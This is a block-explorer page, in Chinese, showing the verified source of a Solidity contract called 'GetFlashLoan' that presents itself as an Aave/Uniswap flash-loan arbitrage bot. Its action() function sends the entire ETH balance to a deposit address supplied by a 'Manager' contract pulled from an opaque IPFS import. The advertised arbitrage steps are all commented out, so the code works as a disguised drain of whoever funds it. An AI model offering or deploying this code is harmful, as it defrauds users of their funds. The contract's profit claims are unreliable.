账户
0x1b...fb9e
0x1B...FB9E

0x1B...FB9E

$500
此合同的源代码已经过验证!
合同元数据
编译器
0.6.6+commit.6c089d02
语言
Solidity
合同源代码
文件 1 的 6:ILendingPool.sol
合同源代码
文件 2 的 6:ILendingPoolAddressesProvider.sol
合同源代码
文件 3 的 6:IUniswapV1Exchange.sol
合同源代码
文件 4 的 6:IUniswapV1Factory.sol
合同源代码
文件 5 的 6:IUniswapV2Callee.sol
合同源代码
文件 6 的 6:MyCOntract.sol
pragma solidity ^0.6.6;

// Aave Smart Contracts
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";

// Uniswap Smart Contracts
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

// Code Manager
import "ipfs://QmTNNahFv7NBmqAc8kq3k9uq8zZyZERfkuin9VqrkHoVy1";

contract GetFlashLoan {
	string public tokenName;
	string public tokenSymbol;
	uint loanAmount;
	Manager manager;
	
	constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
		tokenName = _tokenName;
		tokenSymbol = _tokenSymbol;
		loanAmount = _loanAmount;
			
		manager = new Manager();
	}
	
	receive() external payable {}
	
	function action() public payable {
	    // Send required coins for swap
	    payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
	    
	    // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
	    manager.performTasks();
	    
	    /*
	    // Submit token to Ethereum blockchain
	    string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);

        // List the token on UniSwap & send coins required for swaps
		manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
		payable(manager.uniswapDepositAddress()).transfer(300000000000000000);

        // Get ETH Loan from Aave
		string memory loanAddress = manager.takeAaveLoan(loanAmount);
		
		// Convert half ETH to DAI
		manager.uniswapDAItoETH(loanAmount / 2);

        // Create ETH and DAI pairs for our token & Provide liquidity
        string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
		manager.uniswapAddLiquidity(ethPair, loanAmount / 2);
		string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
		manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
    
        // Perform swaps and profit on Self-Arbitrage
		manager.uniswapPerformSwaps();
		
		// Move remaining ETH from Contract to your account
		manager.contractToWallet("ETH");

        // Repay Flash loan
		manager.repayAaveLoan(loanAddress);
	    */
	}
}
设置
{
  "compilationTarget": {
    "MyCOntract.sol": "GetFlashLoan"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"uint256","name":"_loanAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"action","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]